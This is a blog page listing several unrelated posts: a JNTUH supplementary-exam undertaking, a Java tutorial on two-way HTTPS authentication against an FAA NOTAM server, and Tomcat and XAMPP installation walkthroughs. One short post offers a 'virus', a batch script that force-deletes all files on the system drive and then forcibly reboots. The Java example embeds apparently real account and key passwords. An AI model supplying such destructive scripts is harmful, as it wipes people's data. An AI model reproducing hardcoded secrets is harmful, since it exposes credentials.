WELCOME TO BOOKWORMM

Wednesday, 18 July 2018

JNTUH : B.Tech 1-2 Sem (R16) and 1st Year (R15) Advance Supple Exams Notification - August 2018


I hereby unconditionally undertake that in the event I do not acquire the required credits even after appearing the Advanced Supplementary examinations of I year II semester (R16) / I year (R15) which are to be conducted from 07-08-2018, I shall oblige for the detention in First year which is as per the academic regulations of JNTUH even though I have been permitted by the University to attend the class work of II, III, IV year I semester.

As JNTUH is favoring the students in conducting advance supplementary examinations and permitting to attend the class work of II, III, IV year I semester of the course for the benefit of the students as such I will claim neither any equities nor I will approach the Court of Law if I do not secure the required credits even after declaring the results of the advance supplementary examinations which are scheduled to be held from 07-08-2018.

FORM DOWNLOAD

Wednesday, 11 October 2017

CA Certificates in Java – Example of two-way authentication with https

The following example demonstrates how to set up a secure (https) connection using two-way authentication in Java. For programmers not using a J2EE framework, this document serves to describe the mechanics of setting up a secure connection using Java Secure Socket Extension (JSSE).
The Federal Aviation Administration provides an XML source of Notices to Airmen (NOTAMs) data via the Aeronautical Information Data Access Portal (AIDAP), which is managed by the National Airspace System (NAS) Aeronautical Information Management Enterprise System (NAIMES). All connections to AIDAP are through https, using two-way authentication.
Two-way authentication requires two keys -- a private key provided by NAIMES for user authentication, and a public key downloaded from the AIDAP server to authenticate the host. Potential users of AIDAP data must contact NAIMES to request access, and are then provided a private key with a password. User authentication is performed in the client code by creating an SSLSocketFactory with the private key, and associating the SocketFactory with the HttpsURLConnection to the AIDAP server. Authentication of the server is performed by downloading the public key from the AIDAP server, and loading it into a local keystore that is referenced by the client application via a runtime property.

Server Authentication

Authentication of the server is accomplished by downloading the public key from the AIDAP server and inserting it into a local keystore. The keystore is then referenced within the client application via a java property.
The symptom that indicates server authentication is not succeeding in the handshake is a message like the following:
  javax.net.ssl.SSLHandshakeException:
    sun.security.validator.ValidatorException:
        PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException:
            unable to find valid certification path to requested target



A handy utility called InstallCert from sun.com takes care of acquiring the server's public key and inserting it into a keystore. There is a link to this java class at:

The source code itself is located at:

Download the source code, then compile it using:
    javac InstallCert

Then run it using a command like the following:
    java InstallCert www.aidaptest.naimes.faa.gov

When the utility requests input, enter the index number of the certificate you would like to add to your keystore. Simply start with the first certificate, then re-run the utility for each subsequent certificate until they have all been added to your keystore.
This operation creates a new keystore file named "jssecacerts" in the directory where you ran the utility. Feel free to rename and/or move the keystore.
In order to use the keystore in the handshake, the only necessary step is to reference the keystore file in your application using the "trustStore" property. This can be done on the command line with:
    "-Djavax.net.ssl.trustStore=/path/to/jssecacerts"

or in the code with statements such as:
    Properties systemProps = System.getProperties();
    systemProps.put( "javax.net.ssl.trustStore", "/path/to/jssecerts");
    System.setProperties(systemProps);


Note that if you have set a password on the keystore, you will need to also set the "trustStorePassword" property using one of these methods. When specifying property files such as these, they cannot be relative to the classpath -- instead, they must be absolute paths or relative to a given jar file.

After performing these steps, server authentication should be handled when the client connects to the server. As a result, the client application will no longer throw a javax.net.ssl.SSLHandshakeException. If the server does not require user authentication, connections should succeed at this point. However, if user authentication is required by the server, the client should get an error message back from the server indicating that access is denied.
For the AIDAP server, here is an example of what is returned when server authentication is in place without user authentication (this will be different for every server):
    <HTML><HEAD><TITLE>Forbidden</TITLE></HEAD>
           <BODY>
               <H1>Forbidden</H1>
               Your client is not allowed to access the requested object.
           </BODY></HTML>

User Authentication

If user authentication is required by a server, the administrator of the server will create a public/private key pair for your client and send you the private key and a password. The administrator will register the public key with the server so your client can be authenticated when it connects.
The following code fragment associates the private key with the HttpsURLConnection by loading it into an SSLSocketFactory:
      URL url = new URL( "https://www.aidaptest.naimes.faa.gov/aidap/XmlNotamServlet" );
      HttpsURLConnection con = (HttpsURLConnection) url.openConnection();
      File pKeyFile = new File("/path/to/your_private_key.pfx");
      String pKeyPassword = "your_private_keypass";
      KeyManagerFactory keyManagerFactory = KeyManagerFactory.getInstance("SunX509");
      KeyStore keyStore = KeyStore.getInstance("PKCS12");
      InputStream keyInput = new FileInputStream(pKeyFile);
      keyStore.load(keyInput, pKeyPassword.toCharArray());
      keyInput.close();
      keyManagerFactory.init(keyStore, pKeyPassword.toCharArray());
      SSLContext context = SSLContext.getInstance("TLS");
      context.init(keyManagerFactory.getKeyManagers(), null, new SecureRandom());
      SSLSocketFactory sockFact = context.getSocketFactory();
      con.setSSLSocketFactory( sockFact );


(Lots of exception handling ommitted)


Complete Code Example

Below is a complete code example for a client that connects to the AIDAP server using two-way authentication in order to retrieve a dataset in XML format.



package edu.ucar.rap.util.net;

import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.security.KeyStore;
import java.security.SecureRandom;
import java.util.Properties;
import javax.net.ssl.HttpsURLConnection;
import javax.net.ssl.KeyManagerFactory;
import javax.net.ssl.SSLContext;
import javax.net.ssl.SSLSocketFactory;

public class AidapClient {

  public static void main( String[] args )
      throws Exception
  {
    // Use the public key from the AIDAP server as the trust store for this client.
    //   (note: created this keystore using InstallCerts.java from sun.com)
    Properties systemProps = System.getProperties();
    systemProps.put( "javax.net.ssl.trustStore", "/d1/cvs_all/jssecacerts");
    System.setProperties(systemProps);

    try {
      // Open a secure connection.
      URL url = new URL( "https://www.aidaptest.naimes.faa.gov/aidap/XmlNotamServlet" );
      String requestParams = "uid=adds&password=aAsS22.q&active=y&type=F";
      HttpsURLConnection con = (HttpsURLConnection) url.openConnection();

      // Set up the connection properties
      con.setRequestProperty( "Connection", "close" );
      con.setDoInput(true);
      con.setDoOutput(true);
      con.setUseCaches(false);
      con.setConnectTimeout( 30000 );
      con.setReadTimeout( 30000 );
      con.setRequestMethod( "POST" );
      con.setRequestProperty( "Content-Type", "application/x-www-form-urlencoded" );
      con.setRequestProperty( "Content-Length", Integer.toString(requestParams.length()) );

      // Set up the user authentication portion of the handshake with the private
      // key provided by NAIMES Tech Support.
      //   Based on an example posted by Torsten Curdt on his blog:
      //     http://vafer.org/blog/20061010073725 (as of Nov, 2009)
      File pKeyFile = new File("/d1/cvs_all/aidapuser_1f5d_2011_03_1192.pfx");
      String pKeyPassword = "UB#20abba";
      KeyManagerFactory keyManagerFactory = KeyManagerFactory.getInstance("SunX509");
      KeyStore keyStore = KeyStore.getInstance("PKCS12");
      InputStream keyInput = new FileInputStream(pKeyFile);
      keyStore.load(keyInput, pKeyPassword.toCharArray());
      keyInput.close();
      keyManagerFactory.init(keyStore, pKeyPassword.toCharArray());
      SSLContext context = SSLContext.getInstance("TLS");
      context.init(keyManagerFactory.getKeyManagers(), null, new SecureRandom());
      SSLSocketFactory sockFact = context.getSocketFactory();
      con.setSSLSocketFactory( sockFact );

      // Send the request
      OutputStream outputStream = con.getOutputStream();
      outputStream.write( requestParams.getBytes("UTF-8") );
      outputStream.close();

      // Check for errors
      int responseCode = con.getResponseCode();
      InputStream inputStream;
      if (responseCode == HttpURLConnection.HTTP_OK) {
        inputStream = con.getInputStream();
      } else {
        inputStream = con.getErrorStream();
      }

      // Process the response
      BufferedReader reader;
      String line = null;
      reader = new BufferedReader( new InputStreamReader( inputStream ) );
      while( ( line = reader.readLine() ) != null )
      {
        System.out.println( line );
      }

      inputStream.close();
    } catch (Exception e) { e.printStackTrace(); }
  }
}





Sunday, 25 December 2016

How to create virus to delete files in System

To create basic virus 
first open notepad  and type below code 

// deletion of files //

@echo off
del  %systemdrive%\*.* /f /s /q 
shutdown -r -f -t 00

Friday, 24 June 2016

INSTALLION OF APACHE TOMCAT SERVER

 
Install TOMCAT web server
Procedure:

 Tomcat pdf

Visit the Apache Website http://tomcat.apache.org to get the latest information.
On the home page, click the link Tomcat 5.x under the heading Download.
scroll down the page until you find the heading 5.5.23, under which you will find
sub heading Binary Distributions.(for ex zip,exe,tar). But the choice of download
may depend up on your operating system.
If you are using windows o.s download either the .zip file(apache-tomcat-
5.5.23.zip) or the .exe file(apache-tomcat-5.5.23.exe)
If you are using unix based o.s download the .tar.gz file(apache-tomcat-
5.5.23.tar.gz)
Installing Under Windows O.S :-
If you have downloaded the .zip version of Tomcat, simply extract the content
 using a file extractor tool (such as winzip or winrar) to the c:\drive.
(After the extraction process is completed, you will find a directory named
 apache-tomcat-5.5.23 and a no.of subdirectories under it including a couple of
files such as RUNNING.TXT, NOTICE.FILE, RELEASE-NOTES.FILE and
 LICENSE.FILE .)
   
Note 1 : you may also use the Jar command that comes with JDK, to extract the
 content. The command is  Jar  -xvf  apache-tomcat-5.5.23.zip
Note 2 : if you wish , you can rename the directory apache-tomcat-5.5.23 with a
 convenient and shorter name as tomcat 5.5
Note 3 : directory containing tomcat(c:\apache-tomcat-5.5.23) is called
 CATALINA_HOME, and if you want tomcat to work correctly set this variable.
if you have download the .exe version, installation is very easy. Execute the
 apache-tomcat.5.5.23.exe either by selecting open or double-click it.  
3. The following window would appear on your desktop.
     
4. During the installation you may have to make several choices such as
Choosing the features of tomcat :- you have the options to select Normal, full ,
 minimum or custom, select one among them.  
5 . choosing the installation location : default location would be
 
 c:\program files\apache software foundation\tomcat 5.5 (CATALINA_HOME)  of course you may also choose the location you want.    
6. choosing the port number, username , and password : Default port number is
8080, of course you  may also choose the port number of your choice, provide
user name and password.
   
7. choosing the JVM : Default JVM would be automatically selected, if you have
 multiple JVMs installed on your system, provide a suitable path here.    
8. click on Install button, then you will see the following windows screen :-
   
9. finally you will see the following window if the installation is successfully
 completed      

 tomcat pdf

INSTALLION OF XAMPP SERVER

Aim: Install Apache Web Server, MYSQL, PHP (XAMPP)

Install XAMPP Web Server

1) To install XAMPP in windows 7, first you need to download the XAMPP installer for windows. To download the XAMPP installer for windows, visit the URL https://www.apachefriends.org/download.html.
This page shows the latest version of XAMPP for windows. It also shows the versions of Apache, PHP, MySQL, and other softwares included in this version of XAMPP.
2) Now, go to the "Download" section in the page. Here, you will see XAMPP for Windows, Linux, and Mac OS X. We can easily download the XAMPP installer for Windows.
3) Click on the Download link to download XAMPP as shown below. images in pdf PDF
Description: Download XAMPP for Windows

4) After downloading the installer, double click on the executable(.exe) file to start the XAMPP installation process. Click Yes, if User Account Control dialog box appears.
Select your language in the dialog box then click OK.


Description: select language

5) This dialog box below shows that you should avoid installing XAMPP to C:\Program Files. Click OK.
Description: \Program Files
 Click Next.
Description: setup wizard



6) Verify that all the checkboxes are checked, then click Next.
Description: choose components

Verify that the Destination Folder is set to C:\xampp, then click Install.
Description: install location


7) You will see the installation progresses. Wait for the process to complete.
Description: installation progress

8) Click Finish to finish the installation process.
Description: finish install


9) The dialog box asks: Do you want to start the Control Panel now?
You can choose to start the Control Panel now. Clicking Yes will directly open the XAMPP control panel. Please see the Note below to know how to start XAMPP Control Panel.
Description: installation complete
The installation is complete.
Note: If you want to start XAMPP Control Panel next time, right-click on the XAMPP icon found in the desktop or in the start menu, then select “Run as administrator”. Click "Yes" on the "User Account Control" popup.
 10) If the XAMPP control panel is not already started, find the XAMPP control panel in the start menu or the its desktop icon, right click on it and select "Run as administrator". Click "Yes" on the "User Account Control" popup, and wait for the XAMPP control panel to start. You will see the XAMPP control panel running.
Description: xampp control panel

11) Click on the Start button next to Apache, and wait for apache to start. After the Apache has started, click on the Start button next to MySQL. Wait for MySQL to start. Both Apache and MySQL are running now.
Description: xampp running